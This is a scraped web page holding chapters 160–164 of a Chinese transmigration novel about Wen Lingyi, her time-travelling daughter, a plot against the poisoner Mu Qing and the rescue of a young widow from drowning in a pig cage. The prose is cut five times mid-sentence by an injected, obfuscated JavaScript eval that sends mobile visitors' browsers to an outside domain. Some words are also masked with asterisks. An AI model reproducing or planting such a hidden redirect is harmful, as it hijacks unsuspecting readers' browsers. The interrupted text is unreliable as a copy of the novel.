一盏茶工夫竹娘回来了,低声:“姐姐,罗政受伤了,中箭,箭上有毒,三百人只活着回来了二人,一个罗政,一个亲兵。” 梅娘取出来自己的百宝囊,从里面拿出来伤药和解毒丹递给竹娘:“送过去,就说这是药王谷的伤药,解毒丹一日三次,一次一丸内服,研碎一丸外敷伤口。” “是。”竹娘接过去这些东西,转身出去了。 兰娘和菊娘伺候梅娘起身,兰娘有些愤愤然:“姐姐,咱们这是遇到了个什么畜生,整日里变着花样折磨我们,真实恨不得阉了他。” “不碍事。”梅娘心里太清楚了,晏怀卿之所以就盯着她们姐妹四人,那是因为跟着来的两个妾都怀了身孕,而他似乎是用了什么不该用的,特别是哪方面的需求非常大。 菊娘小声嘀咕:“每没一个好东西,我可听说了,那位不肯露面的秦国公是个老色胚,这些日子都送过去多少姑娘了,真实上梁不正下梁歪。” “好啦,你们也别抱怨了,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845031|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只管做好我们手里的事,主子在京城迟迟没有消息送过来,我们要送消息回去了。”梅娘说:“不能耽搁,确定那个人回来了。” 当天下午,一个人离开了雁门关,出城之后去小树林里牵出来一匹快马,翻身上马后,转过头看了一眼雁门关的城池,一转身催着快马直奔京城。 ***温令仪还为自己准备了这么多保命符啊。 罗政把解毒丹吞下去,黄酒化开解毒丹,再敷在伤口处,慢腾腾穿好衣服抬头看了眼面前的女子:“竹娘竟颇有些侠义心肠啊。” 竹娘嗤笑一声,坐在椅子上:“罗二公子谬赞了,奴家没有侠义心肠,倒是知道怎么做个好奴才,我家主子想要保护人,我们姐妹四个人拼上性命也会把人护好。” 罗政打了个哈欠:“放心吧,死不了,让你们主子好好等着就行,我乏了。” “奴婢告退。”竹娘离开罗政的院子,在街上慢悠悠的逛着,来到了红花楼门前停下脚步,抬头看紧闭的大门,还早,这红花楼里的姑娘们,保不齐都在睡觉呢,罢了,先回去给姐姐复命吧。 ***进城落下第一场雪是冬月初二这天。 温令仪看着外面飘飘洒洒的雪花,回头看正摆弄珠子的小囡囡:“囡囡啊,今年冷的很早啊。” “嗯,还会冷很久,不过娘亲千万不要做炭的买卖,去年遭了一回罪,人人都学精了,家里头准备的可充足了。”小囡囡放下珠子:“娘亲,不如我们在北城开一家铺面,不用赚钱,就当舍粥棚子用,至于别的粮食暂时别动,明年春天时候必定大涨。” 温令仪笑着过来坐在小囡囡身边:“要不,我们出去看看那些乞儿可穿上了棉衣啊?” “这个倒也行。”小囡囡麻利的收拾好自己的宝贝,刚要下床就听到林嬷嬷说:“夫人,雁门关书信。” 小囡囡不动声色的爬回去,坐在床上看温令仪。 温令仪打开书信,信是梅娘写的,内容没有什么客套话,而是提到了穆青,穆青双腿虽然残废了,可最近似乎更不寻常了,梅娘亲眼看到穆青挖活人心。 温令仪眯起眼睛,难道穆青想要找个跟自己一样的心脏吗? 真实有意思,别说那些会害死的人,就连自己都觉得晏怀卿,是真该死! 第160章 这一趟可不能白出来 雁门关犹如炼狱。 不过是隐藏在暗处的。 西凉偶尔交兵,但凡伤者被送回,穆青都会趁机取走鲜血,至于做什么不得而知,因梅娘查不到。 温令仪的手指压在这一行字上,缓缓地吸了口气,梅娘不知道,但自己知道。 穆青养蛊,人血是蛊虫最好的血食。 并且梅娘看到的到底是少的,穆青这个人早就该死,只不过之前没把握,不能打草惊蛇,现如今永元帝自顾不暇,漠北尽在掌控,萧玄策已经和裴祈安联手,穆青,该**! 温令仪去见了蔡昀,蔡老爷子得知温令仪要对穆青出手,沉默了许久才写了四大江湖门派。 “蔡爷爷,这个铸剑山庄和穆青有这么深的交情吗?”温令仪有些意外。 江湖门派,除了药王谷没人愿意招惹外,那就只有一个山庄和一个人,山庄便是铸剑山庄,人嘛,江湖百晓生。 江湖百晓生姓周,名仓,平日里不怎么露面,江湖上的事温令仪了解的并不多,可能跟药王谷齐名的,倒是知道的。 蔡昀点头:“铸剑山庄的老庄主命在旦夕,全靠穆青的手段才能活着。” “蛊啊。”温令仪不做他想,毕竟穆青除了蛊虫外,能让人续命的本事远不及师父天成子。 铸剑山庄的人不可能不知道,但不找天成子,只认穆青,只能证明其实铸剑山庄的老庄主,如今只能算个活**罢了。 蔡昀低垂着眉眼:“铸剑山庄孙家特地安排了两大高手保护穆青,梅山时候**。” 温令仪没问蔡昀是怎么知道的,毕竟江湖上的事,对蔡昀来说没有秘密都寻常。 只不过老爷子放得下,根本不插手。 温令仪看到下面:“漕帮、千丝门和无影堂。” 蔡昀看温令仪面色凝重,轻轻地叹了口气:“孩子,现在你知道了吧?天成子杀不死穆青并不意外,江湖的水更深也更浑。” “那我就亲自往雁门关去一趟!”温令仪眉头紧锁:“不管是为了上官子玉,还是为了师父,穆青都必须死。” 蔡昀凝眸看温令仪:“不能再等等?” “不等了。”温令仪抿紧了唇角,缓缓地放松下来:“西凉和大夏一战在所难免,穆青在雁门关残害兵士太多,绝不能留,若这些门派非要保护穆青,那我就不在乎以朝廷的力量剿匪。” 蔡昀起身:“罢了,想要做就去做。” 温令仪回到镇国公府,裴祈安正在和小囡囡下棋,小囡囡坐着都够不到棋盘,站着的她神色凝重,手里的白子步步为营。 裴祈安慢条斯理的下着棋,偶尔会抬头打量小囡囡,自己的女儿,这绝对不容怀疑,只是自己不敢相信世上还有这样的孩子,才这么大点儿,怎么事事都成竹在胸的模样。 温令仪坐在旁边的椅子上静静地等着父女二人。 小囡囡抬头看着裴祈安,笑得狡黠:“爹爹,你心浮气躁,别怪囡囡下手无情了。” 裴祈安冷汗差点儿冒出来,自己确实有些不用心,可小囡囡一子定输赢的时候,他觉得自己的脸皮火辣辣的,像是被剥下来了似的。 “输给自己的女儿,不丢人。”小囡囡笑眯眯的把裴祈安手边的那些筹码拿走,是一盒漂亮的珠子,七彩斑斓煞是耀目。 裴祈安苦笑着点头:“好,好好,我有这么厉害的女儿,高兴都来不及呢。” 小囡囡递了个眼色给裴祈安,裴祈安偏头见温令仪坐在椅子上望着自己,只觉得脸上热辣辣的。 “裴祈安,我们商量点儿事。”温令仪走过来,把梅娘的信递给了裴祈安。 裴祈安打开书信看完,眉头紧锁:“晏怀卿在自断根基,这么下去连和西凉联手的筹码都没有,他难道不知?” 温令仪看小囡囡,因为小囡囡知道后续的事,虽然已经很多都在改变了,但总比乱猜要好很多。 小囡囡放下手里的珠子:“晏怀卿野心大着呢,真正能克制他的人是萧玄策,之前萧玄策肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845032|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意跟他合作,不管他有没有用,从雁门关长驱直入到大夏,那最先落在手里可是江南富庶之地。” 裴祈安挑眉。 “但是现在萧玄策有更好的合伙人,怎么能看得上晏怀卿?所以晏怀卿不必管他,这个人别的作用没有,当个搅屎棍还是很合适的,倒是穆青,穆青如今保不齐都疯癫了,他一辈子最大的心愿只有两个,得到上官子玉和成为江湖盟主。”小囡囡看裴祈安。 裴祈安恍然:“在梅山,穆青深受重创,确实太不如意了。” “我还给他下了**,虽然不及半边月,但随时都可能毒发,如跗骨之蛆一般难捱。”温令仪说:“这是穆青身边最大的四个护着的势力,江湖门派素来明争暗斗,这些亦正亦邪的门派最弱的便是漕帮,刚好可以利用众合商会,肃清漕帮,不过这需要你出手。” 裴祈安看着四大门派,笑了:“好,刚好趁机让大夏透亮透亮,这些所谓的江湖门派盘踞一地,总归是心腹大患。” “那就动手。”温令仪说:“我要秘密往雁门关去。” “带上我,娘亲。”小囡囡说:“我有天道盟。” 温令仪有些犹豫。 裴祈安说:“如此正好,天道盟会把我们的动向报给萧玄策,也让萧玄策心里有数,大夏并非外强中干,让他别起觊觎之心。” 一家三口是在第二日秘密出京的。 就像是寻常夫妻一般,马车也是很寻常的青布马车。 南英带着人暗中跟随,众合商会的镖车在前头,走的不快不慢。 温令仪抱着小囡囡看沿途风景,说是风景,可说满目疮痍也不为过,不过所过之处,百姓们都在努力的拾掇破败的家园,田地里到处都是挖野菜的孩子和妇女,这些人都在为度过冬天做准备。 小囡囡看看温令仪。 温令仪笑了:“你想让娘亲做什么?” “散财啊。”小囡囡说:“娘亲,有舍有得,我们这一趟可不能白出来。” 第161章 遇到了老乡,自己可算有个伴了! 一家三口来到泾水河边停了下来。 泾水河是横陈大夏分南北的最主要河流,其分支无数,养育着大夏十之七八的黎民百姓。 也是泾水河给附近的百姓带来了巨大的灾难。 泾水河北岸是泾河府。 南岸是江南府。 因泾水河宽阔,无法造桥,所以只能依靠船只,官府漕运这一块有专门的转运司,但转运司并不能满足百姓日常需要,朝廷也允许附近的百姓经营漕运这一块,不过都是短途。 漕帮就在泾河府所辖的临江村。 临江村千户人家,家家户户都以漕运为生,也靠打渔为生。 一家三口选择了临江村。 临江村的村口,许多人浩浩荡荡的从村子里出来,哭嚎声、惨叫声和咒骂声传出去很远。 裴祈安让保生把马车停在路边。 温令仪和小囡囡都凑到窗口往外看,见到最前头的几个壮汉抬着猪笼,猪笼里的女人披头散发,浑身是血。 “浸猪笼啊。”小囡囡瞪大了双眼,以前只是听说,这还亲眼看到了。 温令仪轻轻地蒙住了小囡囡的眼睛,跟裴祈安说:“走吧。” 裴祈安刚要吩咐保生离开,小囡囡推开温令仪的手:“娘亲!你不觉得这对女子太不公平了吗?为什么只让女人死?难道女人该死,那个男人就不该死吗?” 但凡动用浸猪笼这样的刑罚,只能有一个原因,那便是女人不守妇道。 温令仪抿了抿嘴角,她都不知道该如何跟小囡囡解释,自己就是不守妇道的那个人,是真见不得这样的事情。 “爹爹,如果是你,你会眼睁睁看着娘亲**吗?”小囡囡转过头看裴祈安。 裴祈安摇头:“绝对不能。” “所以,为什么不救她?至少让她能为自己说几句话。”小囡囡眼神坚定。 裴祈安看温令仪,一家三口跟随在队伍后面,想要一探究竟。 小囡囡被裴祈安抱在怀里,她看到猪笼里的女人身体颤抖了一下,缓缓地睁开了眼睛。 方静言懵了,叫骂声和不断飞来的臭鸡蛋还有烂菜叶子砸在竹编的笼子上,有腥臭的液体从她脸上滚落下来。 猪笼里的她蜷缩成一团,水已经漫到了脖子的位置,水挤压着胸肺呼吸都疼,河岸上男男女女穿着古代的宽衣大褂,高矮胖瘦不尽相同,一样的是他们愤怒仇视的目光,特别是一群女人喝骂着污言秽语,那架势恨不得扑上来撕咬猎物一般,而她就是猎物。 冰冷的河水如同锋利的刀片切割着皮肉钻进了骨髓里一般,冻得她牙齿都颤抖的互相碰撞着,已经没了说话的能力。 “贱蹄子!丧门星!我程家是做了多大的孽啊,养了这么一个扫帚星转世啊!真是倒了八辈子血霉了啊!”哭嚎的妇人跪坐在地上,拍的河岸上的沙土都起了一层烟尘。 旁边有年轻的女子立刻过去扶着哭嚎的妇人:“婶子,可千万别气坏了身体,为这种**不值得!浸猪笼都便宜了她,要我说拉上岸先扒光了游街,让全程家村的老少爷们都看看这不要脸的女人!” 够狠!方静言用力的甩了甩脑袋,想要让自己清醒一些,就在这个时候迎面飞来了一个婴儿拳头大的石块,刁钻的冲过了竹编笼子孔,不偏不倚砸在了方静言的脑门上,顿时温热的血顺着额头涌出,模糊了方静言的视线,眼前的一切都染上了鲜血的颜色。 “不能沉下去,拉起来!拉起来!”有**吼着。 有人附和:“抓住奸夫一起游街!” “奸夫**败坏临江村的风水了!这样的女人**都便宜了,送去窑子里千人骑万人睡!” 方静言心里有怒火,奈何眼睛不受控的闭上了,无数记忆蹿进脑海里,那是原主的凄惨遭遇。 哭喊着家门不幸的人是原主的婆婆曲氏,旁边那个煽风点火的人是临江村的村花程晓曼,大喊把自己拉上来的人是村长程长陆,余下七七八八的村民认识的不多,原主是个童养媳,从小就要手脚不停的劳作,没工夫出去认识别人。 就在猪笼被人拉起来的时候,方静言终于看完了原主短短十五年的人生,再次睁开眼睛,嘴角都带了一抹冷笑。 人群之中还有一个人,站在不起眼的位置看着方静言的方向,不是别人,是原主的公公程长发。 程长发猛然见到笼子里的方静言看过来,只觉得后背寒毛都竖了起来,下意识的**两步。 还不等他有所反应,方静言转移了视线,再次看向了曲氏。 “我也想问一句奸夫是谁?”方静言一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845033|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,自己先皱眉了,这瘦弱的身板都禁不起一阵风的样子,声音却软糯透着娇滴滴的味道,纵然有些沙哑,也是极其入耳的。 猛然听到方静言说话,岸上的人都愣了愣。 曲氏咬牙切齿的指着方静言:“浪蹄子!我儿新死,你就耐不住痒痒了?今日不用找奸夫,也要浸死你!呸!等你**老娘就把你以妾的身份葬在程家祖坟外面,让你做孤魂野鬼!” “你做得了主吗?”方静言压着嗓子让声音听起来都带着几分寒意,隔着猪笼看着那一张张充满憎恨的脸,猛地盯住了程长陆:“村长,哪一条律法规定浸猪笼只是我一个?奸夫是谁?纵然要置我一死,也让我当一个明白鬼,否则我不会放过今天在场的任何一个人!” 临死之人若赌咒发誓,则是生者大忌。 程长陆铁青着脸色:“你还有脸明知故问,今日若交出奸夫,饶你不死!说!”这声音透着威严。 顿时,岸上的人又被挑动了情绪,往河里投掷这随手摸起来的任何东西砸向方静言。 方静言如今半个身子吊在河面上,无论如何是淹不**,冷风一吹透心冰冷,瑟瑟发抖的她慢慢的转过头:“公爹,救我。” “贱蹄子,休想!你休想活命!今日就是你的死期!”曲氏像是被踩了尾巴的猫一样炸了,再也顾不得河水冰冷,起身冲了下来奋力拉住猪笼用力往下拖拽着。 突然的变故让岸上的人都惊了又惊,程晓曼急的快掉眼泪了,大喊:“婶子!危险!快些上来啊,水里凉的很。” 瞅瞅,这一副情真意切的样子,方静言看到曲氏扭曲的脸,突然两只手抓住了竹编空隙,几乎是贴在曲氏的脸上,压低声音:“程长发若不救我,我就让全村人都知道你们程家的腌臜事!想让我死?你尽管试试!” “你敢!”曲氏咬牙切齿。 方静言眯起眼睛,猛地大喊:“我说!我说!” 曲氏一个站立不稳,摔进了河里,有人眼疾手快的跳下河救曲氏。 小囡囡伸出手抓住温令仪的衣袖:“娘亲,救她!不论如何必须救她!” 天啊,这个世界癫狂了,怎么随便出来走走都能遇到和自己一样穿越来的人呢?好,好!小囡囡眼睛放光,遇到了老乡,自己可算有个伴了! 第162章 当然想走,可是如何脱身? 方静言也看到了跟这群人格格不入的一家三口。 就在她想要别开目光的时候,那个小宝宝竟然给她比了一个ok的手势。 一刹那,差点儿破防,方静言觉得这个世界好癫狂,是巧合?不不不,那个孩子那么小,这个手势太标准,罢了,先活命要紧。 这些百姓都叫嚣着让方静言说出来奸夫是谁,曲氏更是气急败坏的跳脚喝骂,曲氏身边的程晓曼更是处处都要插嘴,恨不得方静言立刻死才行。 温令仪静静地看着这些人,只觉得脊背发凉。 人性之恶,竟是如此的是难以形容,那猪笼里的女子不过十五六岁,如今该是多么的绝望。 “嫂嫂!” 这声嘶力竭的喊声让温令仪都侧目。 人群更是纷纷闪开。 小囡囡看着那穿着长衫的男子不顾一切的跳下冰冷的河水里,奋力的往猪笼游去,微微蹙眉,这个小叔子是怎么回事?难道猪笼里的女子和自己的小叔子有关系? “程子栋!你给我滚回来!”曲氏眼珠子都要冒出来了,嘶吼着。 她身边的程晓曼更是嚷嚷道:“子栋哥,你是有功名的人,为了这么一个女人丢了身份不值得啊。” 程子栋单手抓住了猪笼,回头恶狠狠的冲着岸上的人怒吼道:“我以我的功名保嫂嫂,若你们非要如此对待她,我就去衙门找县令做主!尔等都是草菅人命的人!” 温令仪看裴祈安。 裴祈安微微点头。 这下,曲氏坐在水边哭嚎起来:“老天爷啊,可丢人现眼啊,我的儿子还尸骨未寒啊,就出了这么丢人现眼的事啊!就这样还读什么书啊?都读狗肚子里去了啊!” 这话,无疑就是让所有人都觉得方静言勾搭了自己的小叔子。 程子栋不管任何人,拖着猪笼往岸边来! 他额角青筋凸起,只有一个想法,必须救嫂嫂。 方静言看着少年的后脑勺,揉了揉额角,这个小叔子是个好的,更是个可怜人,不过自己可不是什么善人,原主**,自己莫名其妙的活了,如此糟心的时候哪里顾得上别人? 村长和村民都不敢得罪程子栋,这么多年村子里也就出了这么一个秀才公。 程子栋回头看着满脸是血的方静言,还有她湿透了的衣衫,心里除了愧疚还有恨意。 曲氏见所有人都不动手,发疯了一般冲进来,一头撞倒了程子栋,拼了命的抓着猪笼往下压,她豁出命了,宁可自己死也不让方静言活着。 被撞倒下去的程子栋身体都冻僵了,爬起来要推开曲氏。 方静言眉头紧锁,怒喝:“程子栋你走!” 小囡囡伸出手抓住了裴祈安的衣袖:“爹爹,救她。” 裴祈安飞身而起,踩着众人的肩膀直奔猪笼,单手提着猪笼离开水面,一转身飞身退走。 这下,把这些村民都吓傻了,这是什么人?会飞啊! 程子栋看着嫂嫂被救走,心里那口气散了,整个人就往水底沉下去了,最后那点力气直接抓住了曲氏的脚踝,曲氏挣扎着呼救,村民这才反应过来去救人。 裴祈安把猪笼放在温令仪面前,一转身再次来到水面上,俯身探出手,精准的抓住了程子栋的手腕,人就这么被拉起来,为了借力踩了曲氏脑袋一下,飞身往岸边来。 程子栋回头看了眼,突然心里头郁结的恨意就散开了,他往后跟这些人再无关系了。 温令仪已经把方静言从猪笼里放出来了,并且抱着人回去马车,脱去了湿衣服用棉被盖好,小囡囡就坐在方静言身边。 “囡囡,我们离开此地。”温令仪说着下了马车,见裴祈安带了那个少年郎回来,直接都放进马车里,驱车离开。 村民慌乱的把曲氏救出来,结果再找刚才那几个人,踪迹全无。 曲氏瑟瑟发抖,脸色铁青,口齿不清的她指着大路:“报官,报官。” 马车停在一片树林边上,裴祈安让保生去捡柴生火,温令仪给方静言处理伤口,诊脉后开了方子,出门去找保生去买药。 看到瑟缩成一团的程子栋,走过去给诊脉。 马车里,小囡囡笑眯眯的看着方静言:“你,怎么来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845034|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” 方静言无奈的叹了口气:“实验室**。” “你也看过这本书?”小囡囡问。 方静言疑惑地看着小囡囡:“什么书?我从来不看书啊。” 小囡囡眉头蹙起,自己是穿书的,这就是一本书里的世界啊,可是方静言不是看书的,她会觉得自己来到了一个平行世界,果然殊途而同归啊。 “这不重要,你往后有打算吗?”小囡囡问。 方静言接受能力极好,自己穿越了,见到个一岁多的孩子跟自己聊这些也觉得正常,毕竟这副皮囊里的灵魂到底多大,还真不确定,比如自己二十多岁,现在看样子也就十五六岁的大小,小囡囡的孩童模样,保不齐比自己年纪都大。 至于往后的打算,方静言摇头:“不知道,反正不能坐以待毙,这**的地方必须要离开。” “跟我走啊。”小囡囡低声:“我比你运气好多了,我爹是摄政王,无敌厉害,我娘是药王谷传人,镇国公府的嫡小姐,我娘还有一个夫君,雁门关将军,我舅舅是中书令,我舅舅的爹是尚书令,我还有一个舅舅是大将军,我有一个义父是海外经商的大商人,还有一个义父是西域三十六国的未来主君。” 方静言下巴都要掉下来了,等小囡囡说完,才说:“囡囡,你这家庭环境是不是太复杂了?” “副本难度高,但身份尊贵,你跟我走,咱们俩联手必定大有作为,再说了,这些村民可不好相与,我能保护你的。”小囡囡挑眉:“可以带着外面那个书生。” 方静言立刻摇头:“不要带。” “不是他啊?”小囡囡撩起帘子往外看了眼,摇头:“这个男人是不错,但陪着男人吃苦,未必就能享这个男人的福,我看你长得非常好看,给我当舅母行,我舅舅,对了,就是当中书令的舅舅,你们俩凑一顿很好,咋样,走不走?” 小囡囡满眼期待的看着方静言。 方静言当然想走,可是如何脱身? “只怕不好脱身。”方静言说。 小囡囡撩起帘子,冲着裴祈安喊了一声:“爹!” 第163章 给舅舅找了个媳妇,带情敌的那种 方静言抬起手扶额,这就是开挂的人生吗?这个小丫头命真好,穿越都把buff叠满了,再看自己,倒霉催的,遇到的都是什么事儿? 裴祈安来到马车外,侧身向外,背对着马车问:“囡囡,何事?” “我要救姐姐,但姐姐不好脱身。”小囡囡回头问方静言:“姐姐,你跟这家人什么关系?” 方静言看小囡囡冲自己眨眼睛,心里了然,立刻说:“是打小被买来做童养媳的,程家老大是个病秧子,三个月前**。” “圆房没?”小囡囡问。 方静言摇头,原主确实没圆房,倒不是程家人多善良,而是程老大没那个本事留种。 小囡囡说:“爹,让那个年轻人代兄放妻,写放妻书,咱们去衙门把这件事办妥,我要带着姐姐走。” 方静言万万没想到,外面那位摄政王犹豫都没犹豫就答应了。 就这么脱离了泥潭一般的人生,方静言心里可太感激小囡囡了,她没那么大的野心要嫁给谁,但只要得了自由身,天高地远,必定这辈子都不让那些烂人找到自己! 火光跳跃,程子栋身上的衣衫干了,静静地坐在火堆旁边,裴祈安也没架子,坐在地上和他低声聊天。 保生回来的时候不止带来草药和煎药的药罐子,还带来了吃喝。 温令仪找出来自己的衣裳给方静言换上,比自己小了四岁,可穿上自己的衣服像是小孩子偷穿了大人衣服一般,瘦小枯干的让人心疼。 “回头到前面的镇子里,再给姑娘做几身何时的衣裙。”温令仪说。 方静言微微垂头:“多谢夫人。” 不管在哪里,都有人很好相处,哪怕只是寻常的一句话都让人如沐春风。 “方静言。” 程子栋走到马车外面,双手抱拳深深鞠躬:“我这就跟贵人们去衙门,写了放妻书给你,从此以后不要再回来。” “子栋,谢谢你。”方静言轻声回道。 程子栋摇头:“不敢当这个谢字,唯盼你往后余生都顺遂,若是有缘,在京城也会相见。” 说到最后,声音都哽咽了。 方静言哪里知道,就今日这分别的缘分让程子栋在多年后成为朝廷一品大员,不过这是后话。 二人都喝了驱寒的药。 马车里本来宽敞,可是到底男女有别,所以裴祈安和程子栋步行,倒也不着急。 一路上,裴祈安和程子栋相谈甚欢,二人还挺投缘的。 马车里,小囡囡坐在温令仪的怀里,有一搭无一搭的和方静言聊天。 这倒是让温令仪知道了所有事情。 方静言三岁就被亲生父母卖给了程家做童养媳,程家老大体弱多病,想要冲喜,从到了程家,小小的孩子就的干活,程家一开始对方静言并不打骂,只是不让她停脚的忙碌。 程子栋读书非常好,村子里的人都很敬重程家。 随着一点点儿长大,方静言要照顾一家人吃穿,对程子栋非常照顾,至于说程家的秘密,那就是曲氏和程子栋的亲爹会以虐打程子栋为乐,若程子栋不在家,曲氏就会虐打程长发,因为程子栋是程长发和隔壁村寡妇生下来的野种,那个寡妇生下孩子就**,程长发把程子栋抱回来养着,曲氏憎恨又没办法,她只有一个儿子还半死不活,又不能生养。 三个月前程家老大**,曲氏就发疯一般**方静言,认为方静言没有为儿子带来福气,明明是为了冲喜,结果儿子**,方静言就是克夫的。 “那为啥要给你浸猪笼?”小囡囡问。 方静言苦笑:“他们两个老东西心思歹毒,曲氏想让程长发和我同房,让我生下孩子记在她儿子名下,我不从。” 温令仪气的咬牙切齿,觉得就这么放过了那些人便宜他们了。 “他们设计我,我逃走了,曲氏就冤枉我,要杀了我,她其实心里是害怕程长发对我有心思的。”方静言觉得都反胃,原主是太愚钝了,若不是曲氏发现程长发总是偷偷看着原主,让她动了杀心,原主怕是反抗也无济于事,早晚被困死在程家的。 小囡囡微微蹙眉:“原来是这样啊。” 方静言明白小囡囡是觉得穿越这事儿不可能原主活着自己就穿进来了,低声说:“我本来想要上吊**的。” 这下小囡囡明白了,原主上吊已经**,但曲氏害怕坏了名声,才会弄出来这么一出戏,没想到方静言穿越来了,在曲氏眼里是死而复生。 温令仪轻轻地叹了口气:“既然能拿到放妻书,此时不宜久留,我们带你走,寻一个可安身立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845035|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命的地方再说。” “多谢夫人,您是我的救命恩人。”方静言是真心实意的道谢。 小囡囡靠在温令仪的怀里:“娘亲,我觉得姐姐长得好看,谈吐也好,舅舅那个老光棍能有这样一个媳妇,必定是捡了天大的便宜的。” “嗯?哪个舅舅?”温令仪问。 小囡囡笑的贼兮兮的:“当然是罗岳舅舅啊,他就像是个木头庄子似的,尚书府还穷的叮当响,京城里那些贵女可不愿意嫁过去。” “方姑娘别往心里去,小孩子说话没有深浅。”温令仪低声:“你这话说的可难听,那方姑娘就能嫁到尚书府去?你也知道尚书府穷得叮当响,罗岳要不是良配,岂不是害了方姑娘?” 小囡囡噗嗤笑了:“舅舅人品好啊,府里连一个年轻的丫环都没有,再说了,咱们这趟回去可以让舅舅和方姑娘相处啊,我觉得啊,这是良缘。” 方静言低下头,倒不是这个话题多难为情,而是羡慕眼前这一对儿母女。 她穿越之前,赤条条来人世间,孤零零活到死,没有感受过这样的亲情。 温令仪蹙眉:“那也要到时候再说,不然方姑娘跟我们在一起,可就不舒坦了,凡事都要讲究个缘法,不可以乱点鸳鸯谱。” “是,娘亲说得对,我就喜欢方姐姐,回头我要跟方姐姐一个马车,你和爹再置办个马车吧。”小囡囡服软极快。 温令仪点头:“好,就听你的,只是不能麻烦方姑娘。” “我未来的舅母呢。”小囡囡显然是铁了心,不过确实急不得,她好期待啊,方静言和罗岳成一对儿,啧啧啧,那就太有意思了。 衙门门口,方静言站在程子栋对面,看程子栋发红的眼底,轻轻地叹了口气:“往后,多保重,也别回去程家了。” 程子栋深鞠一躬:“你我从小一起长大,如今你和我不再有关系了,但我会把你当成妹妹的,跟在贵人身边好好活着,等我。” 小囡囡嘴角一抽,自己刚想要给罗岳找个媳妇儿,罗岳还没见到人,就有情敌了啊。 裴祈安取下钱袋放在程子栋手里:“我在京城等你。” 程子栋看着两辆马车缓缓离去,握紧了手里的钱袋子,他必定能去的,京城虽远,可自己有本事,必定会去的! 第164章 就不怕踢到钉板上 方静言和小囡囡坐在一辆马车里,也不需要人伺候,两个人在马车里窃窃私语的对账。 结果,方静言是从末世穿越来的人,实验室里在做改良土地的试验,实验室**穿越到了现在的世界,而她在末世有异能,那就是能令种子发芽,不管是多少年的种子,她都能让种子发芽,正因为有这个异能,她对土地有着执念,末世根本没有能耕种的地图,实验室里那点儿土壤比黄金都珍贵。 小囡囡嘴角直抽抽,关于末世,她以为是永远不会到来的世界,是人们杞人忧天,而她在自己的世界里是个商业奇才,商圈背地里都传言她是财神爷流落在民间的女儿,财富量级之大,她不知道,反正十几个财团都在自己名下,而她活得还算单纯,只是想做事,赚多少钱无所谓。 并且,她和方静言不同,她是穿书,这本书后续情节都知道,而方静言则一无所知。 “怎么办?”方静言看小囡囡。 小囡囡摊了摊手:“能怎么办?你能回去吗?” “就算能回去,我都不回去,我太爱这片土地了。”方静言说。 小囡囡苦笑:“我也回不去,既然回不去就做老本行了,我要赚钱,你啊,不用研究改良土壤了,这放眼望去都是农田,对不对?” 方静言清了清嗓子:“我还略懂草药。” “那更好了,我娘可是药王谷的传人,回头有机会带你去药王谷山上去种草药,我觉得你会成为这个世界的神农,会让很多百姓吃饱肚子,你就积大德了呢。”小囡囡说。 方静言笑了:“那你说,咱们之间该怎么合作?” 